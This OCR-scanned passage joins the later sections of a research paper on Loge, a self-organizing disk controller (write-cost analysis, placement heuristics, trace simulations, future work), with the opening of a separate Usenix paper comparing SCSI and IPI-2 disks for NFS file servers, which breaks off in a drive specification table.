device. Since disks are idle most of the time, there will normally be time to fit data movement into the gaps,
and to schedule it so that it does not interfere with normal operation, even when the device is relatively
busy. Whereas host-initiated shuffling techniques are normally limited to off-hours operation, Loge can
shuffle data constantly.

5.2 Write performance

To develop a feel for Loge write performance, we will discuss write performance under three sets of
conditions: highly-ordered, random, and badly fragmented. For the highly-organized case, we consider the
period either inunediately after initialization or after an idle period that has allowed Loge to rearrange itself
into an optimal write configuration. In the random case, we will assume that the disk has been entirely
randomized, and that available segments are scattered uniformly across the disk. In the pathological case,
we will construct a situation where the disk organization prevents efficient reads and writes. The analysis
presented here is not intended to be exhaustive. A real disk system contains a large number of variables that
we do not address. Rather, the intent is to provide some intuition into the behavior of these types of devices
and motivate the heuristic and simulation studies that follow.

To analyze these situations, we will use an idealized disk that spins at 3600RPM, has ten platters (with 19
usable surfaces), 2000 cylinders, and tracks 32KB long. The seek profile for this disk will be based on the
HP97S60 disk. This idealized device has a maximum sequential throughput of 1.6MB (200 8KB blocks) per
second, and a data capacity of 1.25GB. The write cost for long sequential transfers is 1.25 (20% of the time
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is spent seeking or shifting between tracks}. For simplicity, we will consider only Loge devices with a block
size of 8KB. There is an important relationship between block size, seek time, and performance which will
become clear in the following discussions, but performing the calculations for other block sizes is
straightforward.

5.2. 1 Well-ordered performance

With an 8KB block size and 32KB tracks, Loge has four segments per track, and reaches a segment every
4.16ms. We call this time one rotational period and say that the disk has four rotational positions. In one
rotational period, the head can seek five cylinders in either direction. In this highly-ordered case, we
assume that every fifth cylinder has exactly one empty track.

If a write request comes in at the end of a random read, the controller is always able to find a free segment
after skipping one rotational position, for a total write time (seek + rotational latency + data transfer) of
8.3ms, and a write cost of 2. If a write request arrives at a random time, we must add an additional one-half
rotational period for a total write time of 10.4ms and a write cost of 2.5. If a write occurs immediately after
another write, then the head is already in position for the next transfer, no seek is required, the write time
is 4.2ms, and the write cost is 1. For 32KB transfers arriving randomly, the total write time is 23ms, for a
write cost of 1.38 or 10% less than sequential disk bandwidth. For long transfers, the controller must initiate
a seek of 4.2ms after every 32KB, leading to a transfer rate of 1.6MB, the full, large-transfer sequential
bandwidth of the disk.

What must be emphasized here is that the total amount of free space reserved is only one track every five
cylinders, or a little more than 1% of the disk. While this level of performance could not be sustained against
a random I/O stream (which causes the free segments to fragment and quickly degrades into the next case),
it compares favorably with that of extent-based and conventional file systems running against nearly empty
disks, and shows that the amount of order that must be maintained to achieve good performance is quite
small. Restoring a random disk to this state, for example, takes less then 15 seconds for the disk under
discussion

5.2.2 Performance against a randomized disk

Suppose that, instead of a highly-ordered disk, we assign blocks and free segments randomly across the
disk. At any moment, the probability that we will be able to write to the next segment that the head will
reach is equal to the percentage of free segments on the disk. If the next segment is allocated, then we have
at least one rotational period in which to search for a free segment. In that time, the head can seek five
cylinders in either direction for a total of 11 cylinders which, with 19 segments per cylinder, gives us 209
segments to choose from. A simple calculation shows that with 1% free, there is an 88% chance of finding a
free segment within that time. With 2% free, the probability rises to 98.5%. As the time available to search
rises, the number of reachable segments rises dramatically, making it virtually certain that a free segment
will be found in the next position. Similar calculations show that, on a long write, the expected value for the
time spent seeking or waiting for the spindle is equal to 1.11 times the data transfer time for a 99% full disk
and is equal to the transfer time for a 98% full disk, Yielding write costs of 2.1 and 2, respectively. For single
writes with random arrival, we will, on average, have to wait an additional one-half rotational period. Since
the extra time can be spent seeking, the probability of finding a free segment in the second location is
approximately one in both cases, and the total write cost is 2.5, twice that of a sequential transfer.

For large writes and more sparsely populated disks, we can take this approach a bit further and look for
sequential free segments. With 10% free space, have an 88% chance of finding a pair of sequential blocks
within five cylinders. If we write to these segments rather than to isolated segments, our write cost for large
transfers drops from 1.9 to 1.5. For a disk with 35% free space, the probability of finding a free track (four
consecutive free segments) within five cylinders is 95%, and even on a randomized disk, throughput nears
full sequential bandwidth. It should be noted, however, that this performance cannot be sustained
indefinitely for a random write stream since sequential free areas will be consumed faster than they will be
produced.
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5.2.3 Performance after fragmentation

All of the calculations for fragmented disks assume that writing does not destroy the random distribution
of free segments. Oearly, if segments are allocated within a narrow range of cylinders and freed across the
entire disk, the number of available segments in that cylinder range will drop and performance in that
range will degrade. The number of free segments in other areas of the disk, on the other hand, will increase,
and performance there will improve.

In extreme cases, the head can become trapped in nearly full areas, and performance can remain poor for
extended periods of time. It is possible, for example, for a disk that has 35% free blocks globally 'to have
localities with 2% free space. This is enough to increase the write cost from about 1.25 to 2, a degradation of
60%. The main goal of search policy design is to avoid such situations, either by preventing exhausted
regions from occurring or by moving the head away from them if they do.

There are two types of behavior worth particular note.

Consider first the case of a disk used only for writing. Once an area of the disk has been depleted, the head
will move to one side of the depleted region and begin to write there. Since the depleted region acts as a
barrier to head movement, once the head begins to travel in a certain direction, it will tend to continue in
that direction until it reaches another depleted area, then it will find another relatively empty region and
repeat the process. If the head remains close to a depleted region, the number of available segments is less
than it would be on a randomized disk by up to significant factor. Some of the search heuristics described
below exhibit this type of behavior and can perform poorly as a result.

A second cause of poor performance is bias. If the head spends most of its time over a subset of the disk,
the number of free segments in that subset will decrease. Since those regions are, by definition, the regions
where the head spends most of its time, the overall performance of the device will suffer. Bias is one of the
most difficult problems to avoid, since it can result from many sources. All of the searchheuristics described
below, for example, suffer from it to some extent; most read traces contain some amount of bias; and most
of the cylinder and block shuffling techniques described in the literature increase bias in order to improve
read performance.

5.2.4 Trade-offs between reads and writes

The write costs described above for single transactions assume that the disk is idle when a request arrives,
but this need not be the case. If the controller makes the assumption that it should always be prepared to
write as quickly as possible, it can reduce the write cost for a single transaction to about 1.5 by making sure
that the head is always in transit to the next free segment (a technique similar to [King90]. Following the
same reasoning that allowed writes to every other rotational period in the analysis above, we find that the
disk head can be ready to write within one rotational time period. This means that, for a random arrival,
the average seek and rotational latency amounts to half of a rotational period. The total transaction thus
requires only 1.5 times the media transfer time, a write cost of only 20% more than that of sequential
transfers.

This technique hurts read performance slightly in some cases and helps it in others. If a read request occurs
in the direction that the head is moving, read performance benefits slightly because the head is already in
flight. If not, read performance suffers due to the necessity of stopping the head and accelerating in it the
opposite direction.

The costs and benefits of these events will depend on the characteristics of the disk arm mechanism, and
are difficult to estimate for an arbitrary disk, except to say that neither is larger than the cost of a minimum
seek. What is clear, however, is that the expected cost for reads is minimized if the head is always travelling
in the direction where reads are likely to occur, towards the center of the disk. Unfortunately, such a policy
will also deplete the center of the disk, leading to poor write performance.
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6 Search heuristics

Loge: A Self Organizing Disk ...

These search heuristics all follow the basic framework outlined above. They generate a list of columns to be
searched, and then search the list in order to determine which of several available segments should be
selected. The differences between the heuristics lie entirely in their search orders and in their definitions of
available segments.

Time

6.1 Linear scan

In linear scan (LS) the cylinder range is searched in ascending cylinder
order until the first free segment is found. lbis heuristic is biased
toward the beginning of the disk, which results in poor performance
under certain circumstances. Consider, for example, the behavior of
LS when confronted by a long series of writes. Any time that the
heuristic can find an efficient way of moving the head downward, it
will do so. The beginning of the disk becomes depleted, but the
heuristic attempts to move the head back into this depleted region at
every opportunity. The end of the disk, on the other hand, is nearly
empty, but the head never makes it into that region, so the space is
simply wasted. However, if the number of reads in the trace is high
enough, this heuristic can perform well, because the reads will keep
the head from staying near the beginning of the disk.

6.2 Closest reachable

In closest reachable (CR) the cylinder range is searched starting from the Current head position

current head position, alternating above and below in order of
increasing distance. This heuristic moves the head very slowly and
can spend a great deal of time in depleted areas of the disk. On long ~
sequences of writes, the head quickly becomes trapped behind small ~
depleted areas and then stays close to them, reducing the pool of
available segments as described above. lbis heuristic performs poorly
on all traces, and is included primarily for illustrative purposes. Time

Current head position....

.........
Time

6.3 Furthest reachable

Furthest reachable (FR) is the opposite of CR. Rather than searching
from the head position in order of increasing seek distance, it searches
in order of decreasing seek distance. As a result, the head responds to
crowded areas of the disk by moving large distances, enabling it to
find relatively uncrowded areas where it can write with greater
efficiency. FR exhibits a periodic bias. After long sequences of writes,
the free segment density of the disk oscillates with a period equal to
the length of the first long seek of the device. This shows up in
generated traces as anomalous behavior under write-dominated
loads, where FR performs better with a light scattering of reads than
with only writes.

6.4 Random

Random (R) is a compromise intended to move the head quickly while
avoiding the periodic behavior exhibited by FRduring long sequences
of writes: Since the search order is random, the free segment
distribution remains mostly flat. Its performance on traces is slightly
worse than FR, however, since it does not escape from crowded areas
as rapidly. Under extended write loads, random exhibits a slight bias
toward the middle of the disk, simply because it needs to allocate from
the middle in order to reach either end.
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Preferred Location

Time
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6.5 Preferred location

Preferred location (PL) is an attempt to use the global information
known to the file system to inform the local segment selection process.
Each block is assigned a preferred segment address (derived from a
sequential block:segment mapping with regularly placed free tracks)
and the search heuristic attempts to place the block as close to that
location as possible. If the disk is in a well-ordered state, and the trace
is largely sequential, then this heuristic performs very well. The head
travels toward the preferred cylinder writing sequentially. Once there,
it finds abWldant free segments in which to write. If the disk is in a
highly disordered state, the head travels toward the preferred
location, but once there, cannot find enough room to write, and from
then on behaves similarly to CR.

6.6 Sequential groupings

The sequential grouping (SG) heuristic searches for sequences of free segments to write to (see the discussion
of fragmented performance above). In addition to improving read and write performance by improving
sequentiality, it also increases the speed with which the head finds empty areas. Since relatively empty
areas are far more likely to have sequential free space than relatively full ones, searching for sequential
groupings is an effective method for finding these areas.

SG is different from the previous heuristics in that it does not affect the search order, but the definition of
an available segment. SG is thus independent of the other heuristics in this list, and can be combined with
any of them.

7 Simulations

Our simulations had three goals. First, we wanted to test the behavior of Loge on real traces, to determine
whether Loge would benefit real systems. Second, we wanted to probe the behavior of the different
heuristics to determine their properties. While some properties are easy to infer from the description of the
heuristic, others are much easier to discover by running the heuristic under controlled conditions and
observing the result. In addition, we wanted to observe the effects of varying initial conditions. Some
heuristics that perform quite well Wlder certain conditions break down Wlder others, and we needed to
explore these phenomena. Third, we wanted to gain insight into the steady state behavior of the heuristics.
We wanted to know what the disk would look like after running the algorithm over a period of time, so that
we could compare steady state conditions with the conditions needed to run the algorithms well.

The simulator itself models the data flow through the various steps in the I/O path, with the level of detail
at each step Wlder the programmer's control. Using this model, it is straightforward to set up a highly
detailed and accurate simulation of the entire I/O path, though reducing the level of detail in order to
improve performance requires care to avoid introducing inaccuracies, and designing I/O paths without
bottlenecks can be a tricky business in itself. The current simulator supports only a single outstanding I/O,
and does not perform disk arm scheduling or command queueing, both of which would be valuable in a
Loge controller. Since host-based scheduling is ineffective on Loge and the simulator cannot perform read
scheduling within the device, all traces were scheduled first-come, first-served.

Interpreting the real traces is made difficult by the fact that there is no one representative workload, and
complicated further by the inherent problems of running simulations against recorded I/O traces. We
collected a number of traces from local time sharing systems and workstations. The workloads on these
machines are dominated by text processing, electronic mail, and cpu-intensive simulations, so the
applicability of these traces is limited to similar environments. In addition, since all we have are the
recorded arrival times of individual requests, we cannot determine which reads or writes were
synchronous (and thus affected user performance); neither can we determine how changing the response
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time of a single request will affect the arrival rates of later requests. We can determine how fast a device
runs a specific trace, but we cannot say with certainty how that will affect application performance.

While we do not present the results here, our preliminary simulations showed that sequential grouping
heuristic improved performance whenever there was a difference. In some of the simulation runs, little
fragmentation occurred, and there was no measurable difference between the two. When tested against a
randomized initial disk, however, sequential grouping led to markedly better performance, suggesting that
it significantly reduces the effects of fragmentation. The Red performance numbers, in particular, were the
result of applying sequential grouping to a slightly modified device

7.1 Results

7. 1. 1 Cello: /usr/spooVnews
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Figure 7.1.1: Performance of /usr/spooVnews.

In figure 7.2.1, we show plots of the cumulative response time for a trace of one million I/O transactions
(half reads and half writes) a'gainst a standard disk and a Loge disk with two different heuristics. Write
performance on the Loge disk is, on the average 130% better than that on the standard disk. Read
performance drops by 18%, and overall performance improves by 25%. The LS heuristic performs about the
same as the PL heuristic for reads, but PL outperforms LS by 14% on writes.

The device being simulated in these tests is derived from an actual HP97560 drive, which is similar to the
canonical drive described above except that each track is 36KB and the disk spins at 4002 RPM. In order to
have the block size divide evenly into the track size, we used 4KB blocks instead of 8KB blocks. These
changes can have a dramatic impact on performance. With a block size of 8KB, the minimum seek time is
slightly less than the time to transfer a block, which allowed the device to transfer at half the peak
bandwidth of the disk even when the disk was nearly full and sequences of free blocks were rare. With a
block size of 4KB, each seek lasts two rotational periods, and throughput drops to a third of peak
performance.

If that were the only performance problem and everything else were equal, we would expect to see the
standard disk outperform Loge on reads by about 3.2ms on blocks written after the disk became
fragmented, but there is another factor. Since the tracks on this drive contain 10% more data and the disk
spins 10% faster, the time in each rotational period is significantly shorter. Two rotational periods are only
0.09ms longer than the settle time of the disk, not long enough for the disk arm to seek to a different track.
The head can switch from one surface to another, but cannot change cylinders. This raises the average
rotational miss from 3.2ms to 4.8ms, matching the observed read degradation.

It is also interesting to compare the write performance of different heuristics. Linear scan always seeks
toward the beginning of the disk, while Preferred location attempts to store blocks near their "natural"
positions. Initially, the two algorithms have similar performance, but over time, linear scan begins to run out
of free segments near the beginning of the disk and its performance suffers. Since preferred location sends
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different blocks to different areas of the disk, this effect is not pronounced and performance stabilizes. In
figure 7.2.2, average response time in milliseconds is plotted over time. The upper curve is LS, the lower PI.
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Figure 7.1.1: Linear scan vs. preferred location

7. 1.2 Cello - root + swap

We chose to examine /usr/spool/news for the simple reason that it had the highest access and modification
rates on our system. The same results, however, were demonstrated on other file systems:
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Figure 7.1.2: Performance on root and swap.

In this case, running against the root and swap file systems on cello, Loge improves write performance
advantage by 140%, degrades read performance by 8%, and improves overall performance by 20%, against
a trace with a read:write ratio of 2:1. Since the number of writes is lower, the read performance degradation
is smaller. The effect of the write performance increase is less, but the overall performance of the disk
remains about the same.

7. 1.3 Red-root + swap + lusr

Finally, to prove that Loge does not always hurt read performance, we would like to present some results
of a slightly different simulation. Red, like Cello, is a time-sharing machine, but it is more lightly loaded
and uses somewhat smaller disks. We modified the simulator to use a 1KB block size, and ran the PL
heuristic with sequential grouping, obtaining results shown in figure 7.1.3.

On this trace, the 1KB version of Loge outperformed the standard disk by 164% on writes, 8% on reads, and
36% overall. Whether similar performance can be achieved on other workloads is not clear. It may be, for
example, that the trace and the simulated disk were poorly matched, and that a trace of a tuned system
would have outperformed Loge on reads. Even then, this result suggests that Loge tunes itself to workloads
and can compensate for poor tuning at the file system level.
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Figure 7.1.3: Performance of 1KB Loge device.
7.2 Idle time

Our future plans for Loge include shuffling data in the background to improve read performance. While
these simulations do not address this issue directly, the traces suggest that we will have ample idle time to
perform these tasks. The busiest trace, that of /usr/spool/nws on cello, keeps the disk busy only one-sixth of
the time, the others far less. Even if read performance based on Loge write policies never matches that of a
file system based approach, we will have time to reorder the device, and either match or exceed the re~d

performance of a standard disk.

8 Future directions
Simulations of Loge will continue with the investigation of the effects of command queueing and controller­
based I/O scheduling. We intend to expand our inquiries into the use of similar techniques in disk arrays,
and to incorporate disk shuffling techniques to improve read performance. We would like to expand our
collection of I/O traces to include a wider variety of workloads, to get a better understanding of the range
of applicability of our techniques. And we would also like to go beyond refinement of the techniques
described in this paper to address some of the larger issues of system design illustrated by Loge.

8.1 On-line data reorganization

Since actual data locations are invisible, Loge can rearrange the disk without interacting with the host. This
gives us the chance to use the data shuffling techniques to improve read performance, as well as some the
log-structured file system techniques to improve write performance.

In order to shuffle efficiently, we need to distinguish periods of idleness. Loge differs from conventional
systems, however, in that the amount of disruption is smaller, making the periods of idleness that can be
taken advantage of smaller as well. In particular, since the amount of interference is limited to about the
length of an average seek, Loge can take advantage of idle periods of one-half second and degrade
performance by only about 2% in the worst case. While we are interested in methods to determine optimal
idle thresholds and adjust them to current load characteristics, these preliminary calculations suggest that
they may not have a dramatic effect on overall performance.

8. 1. 1 Block sorting

An interesting alternative to adaptive block shuffling approaches is to return blocks to sequential order
during idle periods. This allows us to take advantage of any read optimizations the file system may have
already performed, and, based on our current simulations, would improve read performance over the Loge
heuristics. The main advantage of this technique over the adaptive techniques is its simplicity. Loge would
not need to keep statistics or additional maps of preferred locations, but could simply calculate the
preferred location from the block address.
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8. 1.2 Cluster recognition

The block-level adaptive algorithms in the literature do a poor job of recognizing and maintaining
sequentiality. A file that is always read sequentially may get split into many pieces in an organ pipe
algorithm, and even if kept on the same cylinder, would rarely get stored in sequential order. File-oriented
algorithms do not suffer from this phenomenon, but since Loge sees only blocks, these algorithms cannot
easily be used. One clear area for future work is detecting access clusters from the block-level traces. Once
such clusters are recognized, Loge can cache place them sequentially on the disk, prefetch subsequent
blocks, and cache the initial blocks to reduce latency.

8.2 Optimizations

The current design of Loge is simple and straightforward, but may not be entirely optimal. Since it ignores
most address information from the host, it must keep large tables to determine data location. Conversely,
since the host does not know actual data locations, Loge must do its own disk sorting, implying a device
which supports command queueing.

8.2. 1 Sorted Loge

One way to address both is to limit blocks to a small range of cylinders. Seek-based disk sorting algorithms
running on the host will then do an effective job of scheduling for seek latency (because the blocks will be
approximately where the host believes them to be). Loge will still be able to limit rotational latency for
writes, since it have access to a range of cylinders at allocation time. Because blocks are limited to small
ranges of cylinders, this approach will prevent a disk from becoming biased, but at the expense of longer
seeks for every write. Finally, since the blocks can only reside in a small number of cylinders, the address
needed to identify that location gets smaller, leading to a substantial reduction in the size of the indirection
table.

8.2.2 Compressed Loge

Another way of reducing the size of the indirection table is to assume that all but a small number of blocks
are at their natural locations, and store in the indirection table only the addresses of "misplaced" blocks. If
we assume, for example, that at least 95% of the blocks reside in their home locations at any given time, then
we need only provide an indirection table for the 5% of the address space; we can calculate addresses for
the rest. Since will be a hash table rather than a direct map, it will be more expensive per entry than the
standard Loge design, but if the reduction in entries is large enough, the total usage will decrease. In the
example above, assuming that the resulting hash table requires four times as many bytes per entry as the
simple map, the resulting table is one-fifth that of the standard device. Oearly, since the vast majority of
blocks are in their standard locations, host-based disk sorting will be effective.

8.3 Loge techniques in disk arrays

The applications of Loge to disk arrays extend much further than use on parity drives as discussed in
[Menon89]. Unlike traditional disk arrays, for example, a properly designed Loge array reduces latency as
well as improving throughput. A write request to a Loge array can use, not just the first available segment
on a single device, but the first available segment across the entire array. If the spindles are properly
synchronized, each additional spindle reduces the write latency. In a RAID-style device, rather than
updating the parity disk synchronously, with the implicit read-write cycle, a Loge array can mirror initial
writes, and then update the parity disk at its leisure. A Loge array can also use multiple devices to
reorganize data, dedicating one device to reading and one to writing to double throughput, or even feeding
a disk reorganization algorithm directly from the data stream, rewriting the data onto the second device as
it is read from the first, or automatically shift data from one device to another to balance load.

8.4 Semantic interpretation vs. storage management

A traditional file system design contains two components-a semantic interpreter and a storage manager­
that we see as, if not orthogonal, then at least separable. The storage manager simply allocate and manage
storage, and could then be combined seamlessly with a wide variety of semantic interpreters. Similarly, the
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semantic interpreter could be designed to know little or nothing about the underlying storage, so that it
could be used against any type of storage, disk, RAM, or optical jukebox. We believe that this interface
between these two layers can be the current read/write interface, with some minor extensions to control
storage capacity and deallocation.

8.4. 1 Extended address space - a controller based storage manager

In a traditional file system, storage management and semantic interpretation are combined into a single
structure. A simple approach to separating these two functions is to build a storage manager that provides
a large, sparse address space to the semantic layer, which organizes its structures within that space so that
they do not interfere. As an example, consider a storage manager that provides a flat, 64-bit address space
to the semantic layer. A Posix-style file system could then be built by simply allocating one 32-bit address
range to each file and using the high-order 32-bits for file identifiers. The only additional interfaces
necessary between the storage manager and the file system are an interface for freeing storage and another
to track storage usage.

It is worth emphasizing that this framework exists within the current SCSI-II protocol. SCSI already allows
a 32-bit block address space which, with lKB blocks, corresponds to a 42-bit byte address space, and can be
carved quite nicely into identifiers and file extents (though in a slightly more complicated way than the 64­
bit space described above). A reserved area of the disk could be used to read status information from the
device, and blocks could be freed by overwriting them with zeros. SCSI even provides a repeating write
command that allows large contiguous address spaces to be overwritten with a data pattern without
requiring that the host transmit the pattern more than once.

8.5 Transaction support

Since all updates to Loge are shadow paged, all single-request updates to Loge are naturally atomic.
Extensions to provide multiple-request transactions or concurrent transactions are straightforward, but are
only useful if an application can take advantage of them. One potential application is the file system.
Directory and file metadata updates can be made atomic simply by associating a transaction ID with the
process performing the updates, and then committing the changes with the final update. The question of
whether this type of support can be used by databases and transaction systems is, to us, an interesting one.
Since Loge avoids most of the overhead traditionally associated with shadow paging (for example, it does
not require a separate update of a disk index), it changes the equations which have favored logging
databases over shadow paging designs. Whether the result in fact favors shadow paging remains to be seen,
but the issue certainly needs to be revisited.

9 Conclusions
For many years, file system designers (ourselves included) have argued that high-level software does a
better job of data placement than low-level software or a peripheral device is capable of doing, but the track
record of such efforts is not particularly good. File systems tend to be overly complex and inefficient, and
to have wide, complicated interfaces that make them difficult to replace as underlying technologies change.
Many of the internal structures in modem file systems were designed at a time when memory was
expensive and processor cycles were at a premium, and they reflect these design points even though the
parameters of current systems are fundamentally different. In particular, memory is now inexpensive
enough that keeping full main memory indices of secondary storage is cheap compared to the cost of the
secondary storage itself, and microprocessors are cheap enough that putting a capable CPU on an I/O
controller does not appreciably increase the cost of the resulting device.

In Loge, we have a device which demonstrates that, at least for the writing of data, file systems are not the
best place to do data placement. The work of others on disk shuffling and abstract storage devices shows
that, even for reads, heuristics that look only at access patterns can outperform conventional file system
designs. From our perspective, data placement and shuffling are natural functions of I/O devices, not file
systems, and while these operations can be implemented in the host operating system, doing so would be
more complicated, difficult and expensive than a straightforward controller implementation such as Loge.
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Abstract

Disk drives are often dismissed as mundane devices, but they are actually interesting, complicated, and
misunderstood. In traditional Unix servers, disk storage subsystems are usually optimized for sequential­
transfer performance. Perhaps counter-intuitively, however, NFS file servers exhibit marked random-access
disk traffic. This report investigates this apparent contradiction and shows that disk-drive concurrency­
not disk transfer rate--is the important factor in disk storage performance for most NFS network servers.
The investigation begins with a concrete and detailed comparison ofboth performance-oriented and non­
performance-oriented technical specifications of both SCSI and IPI drive and interface types. It offers a
thorough empirical evaluation ofSCSI disk drive performance, varying parameters such as synchronous or
asynchronous bus transfers, random and sequential access patterns, and multiplicity of drives per SCSI
channel. It discusses (nonempirically) similar characteristics for IPI-2 drives. The report concludes with
benchmarked comparisons of NFS file servers using SCSI-based disk arrays and IPI-2 subsystems. The
results show that NFS heavy-load throughput using SCSI disk arrays scales linearly with extra drives,
whereas IPI-2 throughput scales less than proportionally with extra drives. This SCSI scalability advantage,
combined with SCSI's appealing price-Performance and price-capacity, make SCSI disks a superior choice
for NFS servers. IPI-2 drives, with their optional high transfer rates, remain an excellent choice for
compute-oriented servers executing large-file applications where high sequential throughput is essential.

1 Introduction and Terminology

1.1 Disks and NFS

Disk drives are complex storage devices. The typical speeds of different disk functions span five decimal
orders of magnitude--almost a million to one--from transfer rates of about 25 Mb/s to access times of
about 10 0lS. Individual disk-drive complexity is compounded when disks are used in computer systems,
where overall storage performance is governed by hardware-software interactions. Consequently, common
disk performance metrics such as transfer rate and access time can be misleading indicators of total system
performance. This report examines disk subsystem design in the context ofa specific, system-level storage
application: the NFS Network File System [Sandberg86].

NFS file server traffic has an often-surprising disk access pattern: random I/O using small (8-KB) blocks.
This is in complete contrast to the disk access patterns of compute servers or stand-alone workstations,
which are usually sequential. Recognizing and embracing this random-access NFS traffic pattern is the
crucial conceptual element of high-performance NFS storage design. Excellent random-access disk
subsystem performance requires a fine balance between many actuators (disk arm-and-head assemblies),
multiple channels (datapaths between actuators and main memory), and peak system I/O demands.

The objective of this paper is to show that SCSI disk technology easily outperforms IPI-2 and SMD
technology in NFS server disk subsystems. Recent commercial developments seem to confirm the price­
performance advantage of this conclusion: Both Silicon Graphics and Sun Microsystems-once SMD and
!PI stalwarts-are chasing Auspex with initial, medium-capacity SCSI subsystems for their server products.
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This Usenix paper is a much-edited version of a same-name technical report [Nelson92]. Readers
interested in additional SCSI and IPI background, price-capacity information, NFS anatomy details, or
SCSI-IPI benchmark results should obtain the full report.

1.2 Performance as Throughput and Access Time .

In this paper, throughput is the primary metric ofdisk subsystem performance.

• Sequential transfer throughput is usually expressed as an aggregate transfer rate in MB/s. It is typically
measured by summing the sequential transfer rate of each disk that can be attached to a separate,
available channel. High sequential throughput is useful for the large data transfers (» 100 KB)
characteristic ofdata-intensive technical and scientific applications executing on compute servers.

• Random access throughput is expressed as an aggregate read or write I/O rate on small-block transfers
in disk lIDs per second (disk lOPS). It is usually measured by summing the I/O rates of all
independent disks on each separate, available channel. In this NFS-oriented study, a disk's small­
block I/O rate is the disk's ability to perform 8-KB block transfers from uniformly distributed
addresses across the entire disk.

Sequential throughput favors high transfer rates and is less sensitive to initial positioning (access) times.
Random throughput favors fast access times and is less sensitive to transfer rate. Unless otherwise
mentioned in this report, disk throughput and disk performance refer to random access throughput
because random throughput is the essential metric for NFS performance.

1.3 SCSI Skepticism and Specifications

Readers whose previous experience with SCSI disks has been limited to the Macintosh, IBM Pc, or CISC­
generation workstation arenas may be skeptical of"high-performance" SCSI claims. Fortunately, the SCSI
specification-as opposed to early SCSI realizations-permits a wide spectrum of performance
implementations.

SCSI is an acronym for small computer system interface. The original SCSI-1 specification [SCSI1] defines an
8-bit-wide bus that operates at 1-2 MBls asynchronously and up to 5 MB/s synchronously. The SCSI-I
common command set comes in two parts: the mandatory commands like inquiry, read, and write and
optional commands like readbuffer, writebuffer, and logsel«t. The SCSI-2 specification [SCSI2] defines 8-,
16-, and 32-bit busses, operating at maximum synchronous speeds of 10-, 20-, and 40-MB/s. Eight-bit
SCSI-2 is defined to be hardware backward compatible with SCSI-I. The SCSI-2 command set is more
precisely defined and functionally richer than SCSI-l as well as being backward compatible. In this report,
SCSI-land SCSI-2 can be considered equivalent unless otherwise specified.

1.4 IPI-2 and SMD Functional Equivalence

IPI and SMD are acronyms for intelligent peripheral interface and storage module device. Because IPI-2 and
SMD both have device-level disk interfaces (explained later in section 3.4), they are functionally equivalent
for the purpose of this report. For simplicity, then, the remainder of the report mentions only IPI disk
drives, and uses unsuffixed IPI to refer to lPI-2.

2 Why NFS Servers Experience Random Disk Traffic

2.1 A Server's View ofNFS Clients

Figure 1 shows a typical large NFS network. From 50 to 200 client workstations are being served from a
single NFS server. Notice that the server "sees" the aggregate, mixed NFS file traffic as it arrives
spontaneously and independently from all workstations on the attached networks. Now consider two facts
ofNFS implementation: .

• Small blocks are mandatory. NFS 1/0 requests are limited to a maximum of 8 KB per read or write
operation. This 8-KB maximum is required by the definition ofNFS [Sandberg85]-and by the
operating implementations ofover 300 licensed NFS vendors. This means that to transfer a I-MB file
between a client and server, the client must issue 128 separate read or write requests, and the server
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must respond to each and every one ofthese small 8-KB requests. This consumes substantial network
capacity and causes much client and server software overhead-but the NFS protocol permits no
shortcuts.

• Randomized sequentiality. Even in a best-case scenario where each workstation is itselfsequentially
reading or writing a large file, the server still receives an aggregate request stream that is unordered
and random (assuming that most files are not shared simultaneously, almost universally true in
department- and campus-sized technical environments). Asingle userJs sequential intentions can be
lost in the randomness ofthe whole.
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Figure 1: A large NPS environment with 50-200 client workstations served by a single NFS server. The key notion is that the
manifold users offer an aggregate random-access disk workload. This is because it's common in medium-to-Iarge Unix networks
to attach 4-8 Ethernets, each loaded with RISC workstations, to a consolidated data server.

2.2 The Nature and Limits ofNFS Optimizations

Mild NFS performance optimizations are possible. Client workstations can help themselves somewhat by
performing read-ahead or write-behind buffering within their own file systems (typically using BIODs).
Servers could perform similar optimizations, but are usually constrained by the limited read-ahead policy
of the Unix File System [McKusick84, Kleiman86], the simple-and-stateless objective of most NFS servers
[Sandberg86], or the synchronous write policy of NFS itself. These complex issues of buffer cache
management, per-client file contexts, and fast stable storage (to mask synchrony) are beyond the scope of
this paper. They have been extensively addressed in non-NFS distributed file systems such as Sprite and
Andrew [Nelson88, Rosenblum90, Howard88] that have traded some reliability for much greater
performance. Srinivasan and Mogul [Srinivasan89] have applied some Sprite-inspired optimizations in a
"Spritely NFS" prototype with moderate results. Lyon and Sandberg [Lyon89] have shown that fast stable
storage for disk-level NFS write buffering can boost performance on write-intensive workloads (e.g., writes
~ 150/0).

In practice, the most beneficial file-server performance optimizations have been applied to non-NFS file
systems. This demonstrates the limited protocol extensibility of NFS and hence the fundamental
importance ofa strong, underlying random-access storage subsystem for NFS itself. Keeping NFS servers
simple (stateless) has explicitly forsaken some classes of software optimization for improved reliability.
This is a worthwhile tradeoff, but it places strong demands on an NFS serverJs disk subsystem, which
remains in the uncomplicated-but-unoptimized critical path ofNFS server performance.
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2.3 Storage Scalability and Disk Subsystem Design Goals for NFS

Disk storage scalability is a special concern in NFS servers. For example, growing an NFS server from 50 to
100 to 200 workstation users nominally requires not only double and then quadruple the storage capacity,
but also two and then four times the random-access disk 1/0 rate. It is this random-access throughput
increase, more than any other factor, that limits the NFS abilities oflPI disk technology.

This section has outlined why high-performance NFS file servers using standard extent-based file systems
need large-capacity, scalable-throughput, random-access-optimized disk storage subsystems. This leads to
some natural goals for NFS storage subsystem design:

• Select individual disks with high random throughput (fast access times).

• Design the storage controller to initiate fully concurrent seeks and allow parallel transfers.

• Pre-sort disk seeks in "elevator" queues to minimize actuator time and motion.

• Use disk drives (like SCSI) that allow autonomous seeks and buffered read-ahead transfers.

• Use multiple storage channels that permit parallel, low-latency disk-to-memory transfers.

Finally, all of the above absolute performance goals must be balanced against cost objectives that include
price-performance and price-capacity.

Non-Performance Metrics Sf41800K IPI-2 HP 0010 SCSI-2 IBM 0663 SCSI-2

Customer Shipment Date First Quarter 1992 Second Quarter 1992 November 1991
Size (form factor) 5.25 inch 5.25 inch 3.5 inch
Formatted Capacity (GB) 1.43 est. (2.0 unfmt) GB 2.002 GB 1.004 GB
Track buffer size (KB) OKB 256KB 256KB
Spindle-synchronization Option Yes Yes No
Typical End-user List Price $6,400 est. $7.500 est. $3,800 est.
Price-capacity ($/MB) $4.48/MB $3.75/MB $3.78/MB
# ofDrives in 19x72-inch rack 50 50 ~ 150
Volumetric Efficiency 72GB 100 GB ~ 150GB
(GB per full-size cabinet)
MTBF (rated hours) 250,OOOhr 300,000 hr 400,000 hr

Power (watts during seek) 35W 38W 16W
Surfaces (data + servo) 18+0 19+ 1 15 + 1
